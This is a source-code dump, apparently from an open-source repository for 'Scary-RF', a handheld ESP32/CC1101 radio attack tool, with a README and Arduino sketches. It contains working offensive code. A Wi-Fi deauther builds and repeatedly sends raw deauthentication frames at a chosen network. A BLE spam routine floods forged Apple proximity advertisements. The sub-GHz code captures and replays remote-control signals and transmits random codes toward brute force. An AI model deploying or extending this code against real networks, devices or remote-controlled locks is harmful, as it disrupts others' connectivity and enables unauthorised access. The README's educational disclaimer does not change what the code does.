0xFF, 0x30, 0xF8, 0xFF, 0xFF, 0xCF, 0xDF, 0xFF, 0xFF, 0xFF, 0xDF, 0xFF, 0xFF, 0xFE, 0xFF, 0xFF, 0xFF, 0x00, 0xFC, 0xFF, 0xFF, 0xEF, 0xDF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0xFF, 0xFF, 0xFF, 0x00, 0xFC, 0xFF, 0xFF, 0xEF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0xFF, 0xFF, 0xFF, 0x00, 0xFD, 0xFF, 0xFF, 0xEF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x04, 0xFF, 0xFF, 0xFF, 0xEF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x0E, 0xFF, 0xFF, 0xFF, 0xEF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xBE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xBF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFE, 0x7F, 0xFE, 0xFF, 0xFF, 0xFD, 0xFF, 0xFF, 0xFD, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFC, 0x7F, 0xFF, 0xFF, 0xFF, 0xFC, 0xFF, 0xFF, 0xFD, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFD, 0x7F, 0xFF, 0xFF, 0x87, 0xFC, 0xFF, 0xFF, 0xFC, 0x7F, 0x3F, 0xF8, 0x87, 0xFF, 0xFF, 0xFF, 0xFD, 0x7F, 0xFF, 0xFF, 0xCF, 0x04, 0x04, 0x80, 0x0F, 0x60, 0xDF, 0xF1, 0x69, 0xFF, 0xFF, 0xFF, 0xFD, 0x7F, 0xFF, 0xFF, 0xCF, 0x64, 0x26, 0xF9, 0x65, 0x32, 0xFF, 0xF3, 0x59, 0xFE, 0xFF, 0xFF, 0xFD, 0x7F, 0xFE, 0xFF, 0xCF, 0x64, 0x26, 0x01, 0x64, 0x32, 0x1F, 0xF2, 0x53, 0xFE, 0xFF, 0xFF, 0xFD, 0x7F, 0xFF, 0xFF, 0xCF, 0x64, 0xA7, 0xBD, 0x64, 0x12, 0x9F, 0xF9, 0x53, 0xFE, 0xFF, 0xFF, 0xFD, 0x7F, 0xFF, 0xFF, 0xCF, 0xA4, 0xA7, 0x9F, 0x64, 0x12, 0x9F, 0xFF, 0x53, 0xFE, 0xFF, 0xFF, 0xFD, 0x7F, 0xFF, 0xFF, 0xCF, 0xC4, 0xE6, 0x9B, 0x64, 0x22, 0x9F, 0xF6, 0x53, 0xFE, 0xFF, 0xFF, 0xFD, 0x7F, 0xFE, 0xFF, 0xC7, 0x64, 0xE6, 0x99, 0x64, 0x22, 0x9F, 0xF2, 0x53, 0xFE, 0xFF, 0xFF, 0xFD, 0x7F, 0xFF, 0xFF, 0x8F, 0x66, 0xE6, 0xD9, 0x64, 0x32, 0x9F, 0xF2, 0x71, 0xFE, 0xFF, 0xFF, 0xFD, 0x7F, 0xFF, 0xFF, 0x1F, 0x02, 0xE3, 0x00, 0x00, 0x13, 0x9F, 0x32, 0x63, 0xFE, 0xFF, 0xFF, 0xFD, 0x7F, 0xFF, 0xFF, 0x1F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFB, 0x9F, 0x33, 0x87, 0xFF, 0xFF, 0xFF, 0xFD, 0x7F, 0xFF, 0xFF, 0xBF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFB, 0x0F, 0xA0, 0xDF, 0xFF, 0xFF, 0xFF, 0xFD, 0x7F, 0xFC, 0xFF, 0xFB, 0xFF, 0xFF, 0xFF, 0xFF, 0xFB, 0xFF, 0xFF, 0xFB, 0x7F, 0xEF, 0xF7, 0xFC, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, }; RCSwitch mySwitch = RCSwitch(); unsigned long receivedValue = 0; int receivedBitLength = 0; int receivedProtocol = 0; const int rssi_threshold = -75; float mhz; static const uint32_t subghz_frequency_list[] = { 300000000, 303875000, 304250000, 310000000, 315000000, 318000000, 390000000, 418000000, 433075000, 433420000, 433920000, 434420000, 434775000, 438900000, 868350000, 915000000, 925000000 }; #define WAVEFORM_SAMPLES 128 int waveform[WAVEFORM_SAMPLES] = {0}; int waveformIndex = 0; // Estrutura para itens do menu struct menu_entry_type { const uint8_t *font; uint16_t icon; const char *name; const menu_entry_type *submenu; }; // Estrutura para o estado do menu struct menu_state { uint8_t position; // posição, índice do array const menu_entry_type *menu; // menu atual }; #define ICON_WIDTH 32 #define ICON_HEIGHT 32 #define ICON_GAP 4 #define ICON_BGAP 16 #define ICON_Y 32 + ICON_GAP // Itens do submenu para "Radio Freq" const menu_entry_type radio_freq_submenu[] = { { u8g2_font_open_iconic_all_4x_t, 211, "Replay", NULL }, { u8g2_font_open_iconic_all_4x_t, 238, "Raw", NULL }, { u8g2_font_open_iconic_all_4x_t, 165, "Analyser", NULL }, { u8g2_font_open_iconic_all_4x_t, 240, "Random", NULL }, { NULL, 0, NULL, NULL } }; // Itens do submenu para "Wifi" const menu_entry_type wifi_submenu[] = { { u8g2_font_open_iconic_all_4x_t, 104, "Evil portal", NULL }, { u8g2_font_open_iconic_all_4x_t, 153, "Deauther", NULL }, { u8g2_font_open_iconic_all_4x_t, 175, "Internet Connect", NULL }, { NULL, 0, NULL, NULL } }; // Itens do submenu para "Bluetooth" const menu_entry_type bluetooth_submenu[] = { { u8g2_font_open_iconic_all_4x_t, 230, "BLE Spam", NULL }, { NULL, 0, NULL, NULL } }; // Entradas do menu principal const menu_entry_type menu_entry_list[] = { { u8g2_font_open_iconic_all_4x_t, 84, "Radio Freq", radio_freq_submenu }, { u8g2_font_open_iconic_all_4x_t, 247, "Wifi", wifi_submenu }, { u8g2_font_open_iconic_all_4x_t, 94, "Bluetooth", bluetooth_submenu }, { u8g2_font_open_iconic_all_4x_t, 129, "Configuration", NULL }, { NULL, 0, NULL, NULL } }; bool in_menu = true; // Variável para rastrear se estamos no menu void draw_menu(struct menu_state *state) { int16_t x = (u8g2.getDisplayWidth() - ICON_WIDTH) / 2; // Centraliza o ícone horizontalmente uint8_t i = state->position; u8g2.setFlipMode(3); // Rotaciona a tela u8g2.clearBuffer(); // Desenha o ícone atual u8g2.setFont(state->menu[i].font); u8g2.drawGlyph(x, ICON_Y, state->menu[i].icon); // Desenha o contorno ao redor do ícone atual u8g2.drawFrame(x - 1, ICON_Y - ICON_HEIGHT - 1, ICON_WIDTH + 2, ICON_HEIGHT + 2); u8g2.drawFrame(x - 2, ICON_Y - ICON_HEIGHT - 2, ICON_WIDTH + 4, ICON_HEIGHT + 4); u8g2.drawFrame(x - 3, ICON_Y - ICON_HEIGHT - 3, ICON_WIDTH + 6, ICON_HEIGHT + 6); // Desenha o nome da entrada de menu atual u8g2.setFont(u8g2_font_6x10_tf); u8g2.setCursor((u8g2.getDisplayWidth() - u8g2.getStrWidth(state->menu[i].name)) / 2, u8g2.getDisplayHeight() - 5); u8g2.print(state->menu[i].name); u8g2.sendBuffer(); } void to_right(struct menu_state *state) { if (state->menu[state->position + 1].font != NULL) { state->position++; } } void to_left(struct menu_state *state) { if (state->position > 0) { state->position--; } } struct menu_state current_state = { 0, menu_entry_list }; void setup() { // ==============================SETUP============================================= Serial.begin(115200); pinMode(BUTTON_PIN, INPUT_PULLUP); pinMode(FREQUENCY_SWITCH_PIN, INPUT_PULLUP); pinMode(BUTTON_PIN_UP, INPUT_PULLUP); pinMode(BUTTON_PIN_DIR, INPUT_PULLUP); pinMode(BUTTON_PIN_ESQ, INPUT_PULLUP); u8g2.begin(); u8g2.enableUTF8Print(); // Permite imprimir caracteres UTF-8 ELECHOUSE_cc1101.Init(); u8g2.begin(); u8g2.clearBuffer(); u8g2.setFlipMode(3); //rotaciona tela u8g2.setFont(u8g2_font_6x10_tf); u8g2.firstPage(); do { u8g2.drawXBMP(0, 0, scary_width, scary_height, scary_bits); } while (u8g2.nextPage()); while (digitalRead(BUTTON_PIN_DIR) != LOW && digitalRead(BUTTON_PIN) != LOW && digitalRead(BUTTON_PIN_ESQ) != LOW && digitalRead(BUTTON_PIN_UP) != LOW) { //Aguarda pressionar algo pra sair da tela inicial } if (digitalRead(FREQUENCY_SWITCH_PIN) == LOW) { ELECHOUSE_cc1101.setMHZ(315); mhz = 315.00; } else { ELECHOUSE_cc1101.setMHZ(433.92); mhz = 433.00; } ELECHOUSE_cc1101.SetRx(); mySwitch.enableReceive(RX_PIN); mySwitch.enableTransmit(TX_PIN); Blesetup(); } void loop() { int8_t event = 0; if (digitalRead(BUTTON_PIN_DIR) == LOW) { event = 1; // Representa U8X8_MSG_GPIO_MENU_NEXT } else if (digitalRead(BUTTON_PIN_ESQ) == LOW) { event = 2; // Representa U8X8_MSG_GPIO_MENU_PREV } else if (digitalRead(BUTTON_PIN) == LOW) { event = 3; // Representa U8X8_MSG_GPIO_MENU_SELECT } else if (digitalRead(BUTTON_PIN_UP) == LOW) { event = 4; // Representa a função de voltar para o menu principal } if (in_menu) { if (event == 1) { to_right(¤t_state); } if (event == 2) { to_left(¤t_state); } if (event == 3) { if (current_state.menu[current_state.position].submenu != NULL) { current_state.menu = current_state.menu[current_state.position].submenu; current_state.position = 0; } else { if (strcmp(current_state.menu[current_state.position].name, "Replay") == 0) { //Funçao Replay Detect(); } //________ End Replay if (strcmp(current_state.menu[current_state.position].name, "Raw") == 0) { //Funçao RAW while (digitalRead(BUTTON_PIN_UP) != LOW) { Raw(); } } //________ End RAW if (strcmp(current_state.menu[current_state.position].name, "Analyser") == 0) { //Funçao Analyser while (digitalRead(BUTTON_PIN_UP) != LOW) { Analyser(); } } //________ End ANALYSER if (strcmp(current_state.menu[current_state.position].name, "Random") == 0) { //Funçao Random while (digitalRead(BUTTON_PIN_UP) != LOW) { if (digitalRead(BUTTON_PIN) == LOW) { SendRandom(); } } } //________ End RANDOM if (strcmp(current_state.menu[current_state.position].name, "Deauther") == 0) { //Funçao Deauther while (digitalRead(BUTTON_PIN_UP) != LOW) { Deauther(); } }//________ End Deauther if (strcmp(current_state.menu[current_state.position].name, "Evil portal") == 0) { //Funçao EVIL PORTAL u8g2.clearBuffer(); u8g2.setCursor(0, 10); u8g2.print("In progress..."); } //________ End Evil if (strcmp(current_state.menu[current_state.position].name, "BLE Spam") == 0) { //Funçao Spam while (digitalRead(BUTTON_PIN_UP) != LOW) { Bleloop(); } } //________ End Spam } } if (event == 4 && current_state.menu != menu_entry_list) { // Se o botão UP for pressionado e estiver em um submenu, volte para o menu principal current_state.menu = menu_entry_list; current_state.position = 0; in_menu = true; // Garante que o menu seja desenhado delay(100); } if (in_menu) { draw_menu(¤t_state); } delay(100); // Atraso para evitar o efeito de bounce } } ================================================ FILE: OLD Version/ScaryRF-NoSD-SH1106/Wifi.ino ================================================ void Deauther() {/* WiFi.mode(WIFI_STA); esp_wifi_start(); // 2. Variáveis de estado int selectedNetwork = 0; int networkCount = 0; bool attacking = false; unsigned long lastDebounce = 0; const int debounceDelay = 200; // 3. Scan inicial u8g2.clearBuffer(); u8g2.setCursor(0, 30); u8g2.print("Scanneando redes..."); u8g2.sendBuffer(); WiFi.scanDelete(); networkCount = WiFi.scanNetworks(false, true); // 4. Loop principal while(true) { // Verifica botão de saída if(digitalRead(BUTTON_PIN_UP) == LOW && millis() - lastDebounce > debounceDelay) { if(attacking) { attacking = false; u8g2.clearBuffer(); u8g2.setCursor(0, 30); u8g2.print("Ataque cancelado!"); u8g2.sendBuffer(); delay(1000); } else { break; } lastDebounce = millis(); } // Modo seleção de rede if(!attacking) { // Navegação if(digitalRead(BUTTON_PIN_DIR) == LOW && millis() - lastDebounce > debounceDelay) { selectedNetwork = (selectedNetwork + 1) % networkCount; lastDebounce = millis(); } else if(digitalRead(BUTTON_PIN_ESQ) == LOW && millis() - lastDebounce > debounceDelay) { selectedNetwork = (selectedNetwork - 1 + networkCount) % networkCount; lastDebounce = millis(); } // Exibe rede selecionada u8g2.clearBuffer(); u8g2.setCursor(0, 10); u8g2.print("Selecione a rede:"); u8g2.setCursor(0, 30); u8g2.print(WiFi.SSID(selectedNetwork)); u8g2.setCursor(0, 50); u8g2.print("OK:DOWN Volta:UP"); u8g2.sendBuffer(); // Inicia ataque if(digitalRead(BUTTON_PIN) == LOW && millis() - lastDebounce > debounceDelay) { attacking = true; lastDebounce = millis(); } } // Modo ataque else { // Prepara pacote de deautenticação uint8_t deauthPacket[26] = { 0xC0, 0x00, 0x00, 0x00, // Type: Management, Subtype: Deauth 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // Destination (broadcast) 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Source (substituir) 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // BSSID (substituir) 0x00, 0x00, // Sequence number 0x01, 0x00 // Reason: Unspecified }; // Configura com BSSID real memcpy(&deauthPacket[10], WiFi.BSSID(selectedNetwork), 6); memcpy(&deauthPacket[16], WiFi.BSSID(selectedNetwork), 6); // Feedback visual u8g2.clearBuffer(); u8g2.setCursor(0, 10); u8g2.print("Atacando:"); u8g2.setCursor(0, 30); u8g2.print(WiFi.SSID(selectedNetwork)); u8g2.setCursor(0, 50); u8g2.print("UP p/ parar"); u8g2.sendBuffer(); // Envia pacote (10x para maior eficácia) for(int i = 0; i < 10; i++) { esp_wifi_80211_tx(WIFI_IF_STA, deauthPacket, sizeof(deauthPacket), false); delay(50); } } delay(10); } // Finalização esp_wifi_stop(); u8g2.clearBuffer(); u8g2.setCursor(0, 30); u8g2.print("Operacao finalizada!"); u8g2.sendBuffer(); delay(1000); */} ================================================ FILE: OLD Version/ScaryRF128x32-OLD/ScaryRFTool-Tela-128x32.ino ================================================ #include #include #include #include #include #define RX_PIN 4 // Pino de recepção #define TX_PIN 2 // Pino de transmissão #define BUTTON_PIN 14 // Pino do botão #define BUTTON_PIN_DIR 27 // Pino do botão #define BUTTON_PIN_ESQ 12 // Pino do botão #define BUTTON_PIN_UP 26 // Pino do botão #define FREQUENCY_SWITCH_PIN 13 // Pino do interruptor para mudar a frequência #define OLED_RESET 22 // Pino de reset do OLED #define SCREEN_WIDTH 128 // Largura da tela OLED #define SCREEN_HEIGHT 32 // Altura da tela OLED Adafruit_SSD1306 display(SCREEN_WIDTH, SCREEN_HEIGHT, &Wire, OLED_RESET); RCSwitch mySwitch = RCSwitch(); unsigned long receivedValue = 0; // Variável para armazenar o valor recebido int receivedBitLength = 0; // Comprimento do sinal recebido int receivedProtocol = 0; // Protocolo do sinal recebido const int rssi_threshold = -75; // Limiar de RSSI para considerar um sinal como forte o suficiente (Analizador de frequencia) static const uint32_t subghz_frequency_list[] = { /* Lista de frequências em MHz */ 300000000, 303875000, 304250000, 310000000, 315000000, 318000000, // Faixa 300-348 MHz 390000000, 418000000, 433075000, 433420000, 433920000, 434420000, 434775000, 438900000, // Faixa 387-464 MHz 868350000, 915000000, 925000000 // Faixa 779-928 MHz }; #define WAVEFORM_SAMPLES 128 int waveform[WAVEFORM_SAMPLES] = {0}; int waveformIndex = 0; void setup() { Serial.begin(115200); pinMode(BUTTON_PIN, INPUT_PULLUP); // Configura o pino do botão baixo como entrada com pull-up pinMode(FREQUENCY_SWITCH_PIN, INPUT_PULLUP); // Configura o pino do seletor de frequencia pinMode(BUTTON_PIN_UP, INPUT_PULLUP); // Configura o pino do botão cima como entrada com pull-up pinMode(BUTTON_PIN_DIR, INPUT_PULLUP); // Configura o pino do botão direito como entrada com pull-up pinMode(BUTTON_PIN_ESQ, INPUT_PULLUP); // Configura o pino do botão esquerda como entrada com pull-up if (!display.begin(SSD1306_SWITCHCAPVCC, 0x3C)) { // Inicializa o display OLED Serial.println(F("Falha ao iniciar o display OLED")); while (1); // Fica preso aqui se houver falha no display } display.clearDisplay(); display.setTextSize(1); display.setTextColor(SSD1306_WHITE); display.setCursor(0, 0); display.println(" |--------|"); display.println(" |Scary-RF|"); display.println(" | TOOL |"); display.println(" |________|"); display.display(); delay(2000); display.clearDisplay(); ELECHOUSE_cc1101.Init(); // Inicializa o módulo CC1101 if (digitalRead(FREQUENCY_SWITCH_PIN) == LOW) { //O botão escolhe a frequencia ELECHOUSE_cc1101.setMHZ(315); // Muda a frequência para 315MHz } else { ELECHOUSE_cc1101.setMHZ(433.92); // Mantém a frequência em 433.92MHz } ELECHOUSE_cc1101.SetRx(); // Configura o módulo CC1101 para receber mySwitch.enableReceive(RX_PIN); // Habilita a recepção no pino RX mySwitch.enableTransmit(TX_PIN); // Habilita a transmissão no pino TX } void loop() { if (mySwitch.available()) { // Se houver dados disponíveis para leitura receivedValue = mySwitch.getReceivedValue(); // Lê o valor recebido receivedBitLength = mySwitch.getReceivedBitlength(); // Obtém o comprimento do sinal recebido unsigned int* rawSignal = mySwitch.getReceivedRawdata(); // Obtém os dados brutos do sinal receivedProtocol = mySwitch.getReceivedProtocol(); // Obtém o protocolo do sinal recebido if (receivedValue != 0) { // Se o valor recebido for diferente de 0 display.clearDisplay(); display.setCursor(0, 0); display.println("Received Signal:"); display.setCursor(0, 10); display.println(receivedValue); display.setCursor(0, 20); display.printf("Bit:%d", receivedBitLength); display.printf(" Ptc:%d", receivedProtocol); display.display(); mySwitch.resetAvailable(); // Reinicia o buffer de dados recebidos } } if (digitalRead(BUTTON_PIN) == LOW && receivedValue != 0) { // Se o botão for pressionado e houver um valor recebido mySwitch.disableReceive(); // Desabilita a recepção delay(100); mySwitch.enableTransmit(TX_PIN); // Habilita a transmissão ELECHOUSE_cc1101.SetTx(); // Configura o módulo CC1101 para transmitir display.clearDisplay(); display.setCursor(0, 0); display.println("Received Signal:"); display.setCursor(0, 10); display.println(receivedValue); display.setCursor(0, 20); display.println("Sending..."); display.display(); mySwitch.setProtocol(receivedProtocol); // Configura o protocolo para o valor recebido mySwitch.send(receivedValue, receivedBitLength); // Envia o valor recebido com o comprimento do sinal delay(500); display.clearDisplay(); display.setCursor(0, 0); display.println("Received Signal:"); display.setCursor(0, 10); display.println(receivedValue); display.setCursor(0, 20); display.println("OK"); display.display(); ELECHOUSE_cc1101.SetRx(); // Configura o módulo CC1101 para receber novamente mySwitch.disableTransmit(); // Desabilita a transmissão delay(100); mySwitch.enableReceive(RX_PIN); // Habilita a recepção } if (digitalRead(FREQUENCY_SWITCH_PIN) == LOW) { ELECHOUSE_cc1101.setMHZ(315); // Muda a frequência para 315MHz } else { ELECHOUSE_cc1101.setMHZ(433.92); // Mantém a frequência em 433.92MHz } //FUNÇÃO RANDOM (Futuramente Bruteforce eu acho)______________________ if (digitalRead(BUTTON_PIN_DIR) == LOW){ display.clearDisplay(); display.setCursor(0, 0); display.println("Sending Random:"); display.display(); delay(100); // Gera uma sequência aleatória de 9 dígitos unsigned long randomValue = 100000000 + random(900000000); int randomBitLength = 28; // Ajuste conforme necessário 433 int randomProtocol = 6; // Ajuste conforme necessário 433 if (digitalRead(FREQUENCY_SWITCH_PIN) == LOW) { // Configura o protocolo e comprimento do sinal randomBitLength = 24; // Ajuste conforme necessário randomProtocol = 1; // Ajuste conforme necessário } mySwitch.disableReceive(); delay(100); mySwitch.enableTransmit(TX_PIN); ELECHOUSE_cc1101.SetTx(); display.clearDisplay(); display.setCursor(0, 0); display.println("Sending Random:"); display.setCursor(0, 10); display.println(randomValue); display.setCursor(0, 20); display.println("Sending..."); display.display(); mySwitch.setProtocol(randomProtocol); mySwitch.send(randomValue, randomBitLength); delay(100); display.clearDisplay(); display.setCursor(0, 0); display.println("Sending Random:"); display.setCursor(0, 10); display.println(randomValue); display.setCursor(0, 20); display.println("OK"); display.display(); ELECHOUSE_cc1101.SetRx(); mySwitch.disableTransmit(); delay(100); mySwitch.enableReceive(RX_PIN); } // Função analizadora de frequencia e potencia _________________________ AOW POTENCIA if (digitalRead(BUTTON_PIN_UP) == LOW){ display.clearDisplay(); display.setCursor(0, 0); display.printf("Analyzing..."); display.display(); while (digitalRead(BUTTON_PIN_UP) == LOW) { // Enquanto o botão de aumento de frequência estiver pressionado int rssi; uint32_t detectedFrequency = 0; int detectedRssi = -100; // Varredura Fina: Varre a lista de frequências definida em subghz_frequency_list for (size_t i = 0; i < sizeof(subghz_frequency_list) / sizeof(subghz_frequency_list[0]); i++) { uint32_t frequency = subghz_frequency_list[i]; // Configura a frequência atual no módulo CC1101 ELECHOUSE_cc1101.setMHZ((float)frequency / 1000000.0); ELECHOUSE_cc1101.SetRx(); delayMicroseconds(3500); rssi = ELECHOUSE_cc1101.getRssi(); // Obtém o RSSI do sinal recebido // Verifica se o sinal é forte o suficiente e se é mais forte do que os sinais anteriores if (rssi >= rssi_threshold && rssi > detectedRssi) { detectedRssi = rssi; detectedFrequency = frequency; } } // Se uma Frequência FINE foi detectada, exibe as informações no display OLED if (detectedFrequency != 0) { display.clearDisplay(); display.setCursor(0, 0); display.printf("Signal detected: "); display.setCursor(0, 10); display.printf("Frequency:%.2fMHz", (float)detectedFrequency / 1000000.0); display.setCursor(0, 20); display.printf("RSSI:%ddBm", detectedRssi); display.display(); } delay(600); } ELECHOUSE_cc1101.SetRx(); // Configura o módulo CC1101 para receber novamente mySwitch.disableTransmit(); // Desabilita a transmissão delay(100); mySwitch.enableReceive(RX_PIN); // Habilita a recepção } //RAW WAVEFORM________________________ while (digitalRead(BUTTON_PIN_ESQ) == LOW) { display.clearDisplay(); float mhz = 0; // Lê continuamente os valores do pino RX e atualiza a forma de onda for (int i = 1; i < SCREEN_WIDTH; i++) { int rssi = ELECHOUSE_cc1101.getRssi(); waveform[i] = map(rssi, -100, -40, 0, 1023); // Mapeia o RSSI para valores de forma de onda if(rssi < -75){ // Configura a frequência atual no módulo CC1101 if(i % 2 == 0){ ELECHOUSE_cc1101.setMHZ(433.92); ELECHOUSE_cc1101.SetRx(); mhz = 433.92; } else{ ELECHOUSE_cc1101.setMHZ(315); ELECHOUSE_cc1101.SetRx(); mhz = 315.00; } } else{ display.fillRect(0, 0, 40, 7, SSD1306_BLACK); display.setCursor(0, 0); display.println(mhz); } // Conecta os pixels consecutivos com uma linha int prevY = map(waveform[i - 1], 0, 1023, SCREEN_HEIGHT - 1, 8); //Ponto anterior int currY = map(waveform[i], 0, 1023, SCREEN_HEIGHT - 1, 8); // prox ponto display.drawLine(i - 1, prevY, i, currY, SSD1306_WHITE); //liga os pontos display.display(); delay(30); //Controle da taxa de atualizaçao da tela if (i == SCREEN_WIDTH){ display.clearDisplay(); display.setCursor(0, 0); display.println(mhz); i = 1; } if (digitalRead(BUTTON_PIN_ESQ) != LOW){ // if (tem raw no bufffer){ // display.fillRect(0, 0, 40, 7, SSD1306_BLACK); // display.setCursor(0, 0); // display.println("Press to Send RAW:"); // esperar açao de botao // if (botao para Baixo){ // envia sinal // } // if (botao Esq){ // break; // } // } break; } } delay(500); // Aguarda um pouco antes de começar a próxima leitura } } //FIM LOOP ================================================ FILE: README.md ================================================ # Scary-RF

Low-cost • Open-Source • ESP32 + CC1101 • Sub-GHz RF Tool

--- ## 📡 Overview The **Scary-RF Tool** is a low-cost, open-source Sub-GHz RF research device built using an **ESP32** and a **CC1101 transceiver**. It is designed for: - RF signal capture - Replay testing (Replay Attack) - Frequency analysis - RAW waveform visualization - Signal storage and playback This project focuses on **educational, experimental, and RF research purposes**. --- ## ⚠️ Disclaimer This project is intended for **educational and research purposes only**. The author is not responsible for misuse, illegal activities, or damage caused by this device. Always comply with your local laws and regulations when working with radio frequency transmissions. --- ## 🛠 Hardware ### Core Components - **ESP32** (multiple versions supported) - **CC1101 Sub-GHz Transceiver** - **1.3” OLED Display (SH1106 128x64)** - **MicroSD Card Module** - Push Buttons (navigation) - Power Switch - Frequency Selection Switch (315 / 433 MHz) - Lithium Battery (recycled or new) - Charging Regulator Board - Custom etched copper PCB --- ## 🚀 Features - 📡 Capture RF signals (315 / 433 MHz) - 🔁 Replay captured signals - 💾 Save and delete captures on SD card - 📊 RAW waveform capture and visualization - 🔍 Frequency identification (300–928 MHz) - 🎲 Random code transmission (315–433 MHz) - 📟 OLED real-time display - 📢 BLE spam transmission --- ## 🔌 Hardware Pinout (ESP32) | Component | Pin | Function | |---------------|------|--------------------------------| | CC1101 RX | 4 | RF Data Reception | | CC1101 TX | 2 | RF Data Transmission | | SD CS | 17 | Chip Select | | SD MISO | 34 | SPI MISO | | SD MOSI | 13 | SPI MOSI | | SD SCK | 14 | SPI Clock | | BTN UP | 27 | Navigate / Exit | | BTN DOWN | 25 | Navigate / Save | | BTN LEFT | 26 | Navigate / Library | | BTN RIGHT | 32 | Navigate / Delete | | BTN OK | 33 | Select / Transmit | | FREQ SWITCH | 12 | 315 / 433 MHz Selector | --- ## 💻 Installation ### Requirements - Arduino IDE or PlatformIO - ESP32 Board Package - Required libraries: - ELECHOUSE_CC1101 - Adafruit_SH1106 (or SH1106 compatible) - SD - SPI - Wire ### Flashing 1. Connect ESP32 via USB 2. Select correct board 3. Compile and upload firmware 4. Insert SD card 5. Power on device --- ## 🗂 PCB Wires --- ## 🧠 Roadmap - [x] RAW capture - [x] Deauther - [ ] BLE spam improvements - [ ] Rolljam cooperative mode (you and another Scary-RF) - [ ] Web-based file sharing (share captures) - [ ] ESP-NOW remote control (control Scary-RF from other devices) - [ ] Improved frequency analyzer --- ## 🔬 Intended Use Cases - RF security research - Remote control protocol analysis - Sub-GHz experimentation - Learning about radio communication - Embedded systems development --- ## 📜 License This project is open-source. You are free to modify, improve, and distribute it under the chosen license. --- ## 🤝 Contributing Pull requests are welcome. If you find bugs or want to improve features, feel free to open an issue. ---

Built with ESP32, curiosity, and a bit of chaos 👻

================================================ FILE: ScaryRF-V3/Blespam.ino ================================================ // ==================== CONFIGURAÇÕES DE BLE ==================== #define BLE_SPAM_DELAY 40 // Contador global para BLE static int bleCounter = 1; static NimBLEAdvertising *pAdvertising; // ==================== SETUP BLE ==================== void Blesetup() { Serial.println(F("Init BLE...")); showMessage("Init BLE..."); NimBLEDevice::init(""); esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_DEFAULT, ESP_PWR_LVL_P9); esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_ADV, ESP_PWR_LVL_P9); esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_SCAN, ESP_PWR_LVL_P9); NimBLEServer *pServer = NimBLEDevice::createServer(); pAdvertising = pServer->getAdvertising(); Serial.println(F("BLE OK!")); } // ==================== GERA DADOS DE ADVERTISEMENT ==================== NimBLEAdvertisementData getOAdvertisementData() { NimBLEAdvertisementData randomAdvertisementData = NimBLEAdvertisementData(); uint8_t packet[17]; uint8_t i = 0; packet[i++] = 16; // Packet Length packet[i++] = 0xFF; // Packet Type (Manufacturer Specific) packet[i++] = 0x4C; // Packet Company ID (Apple, Inc.) packet[i++] = 0x00; // ... packet[i++] = 0x0F; // Type packet[i++] = 0x05; // Length packet[i++] = 0xC1; // Action Flags const uint8_t types[] = { 0x27, 0x09, 0x02, 0x1e, 0x2b, 0x2d, 0x2f, 0x01, 0x06, 0x20, 0xc0 }; packet[i++] = types[rand() % sizeof(types)]; // Action Type esp_fill_random(&packet[i], 3); // Authentication Tag i += 3; packet[i++] = 0x00; // ??? packet[i++] = 0x00; // ??? packet[i++] = 0x10; // Type ??? esp_fill_random(&packet[i], 3); randomAdvertisementData.addData(std::string((char *)packet, 17)); return randomAdvertisementData; } // ==================== LOOP BLE SPAM ==================== void Bleloop() { bleCounter = 1; while (!btnUp.isPressed()) { delay(BLE_SPAM_DELAY); u8g2.clearBuffer(); u8g2.setCursor(0, 10); u8g2.print("AppleSour..."); u8g2.setCursor(0, 20); u8g2.print(bleCounter); bleCounter++; u8g2.sendBuffer(); NimBLEAdvertisementData advertisementData = getOAdvertisementData(); pAdvertising->setAdvertisementData(advertisementData); pAdvertising->start(); delay(20); pAdvertising->stop(); } NimBLEDevice::deinit(); } ================================================ FILE: ScaryRF-V3/Radiofreq.ino ================================================ // ==================== VARIÁVEIS DE RAW CAPTURE ==================== #define MAX_SAMPLES 800 struct RawCapture { volatile unsigned long rawData[MAX_SAMPLES]; volatile unsigned int dataPoints = 0; volatile unsigned long lastTime = 0; volatile bool signalState = false; }; RawCapture rawCapture; // ==================== FUNÇÃO DETECT (REPLAY) ==================== void Detect() { // Inicializa receptor mySwitch.enableReceive(RX_PIN); ELECHOUSE_cc1101.SetRx(); // Mensagem inicial u8g2.clearBuffer(); u8g2.setCursor(0, 10); u8g2.print("Waiting Signal..."); u8g2.drawHLine(0, 40, 128); u8g2.setCursor(0, 50); 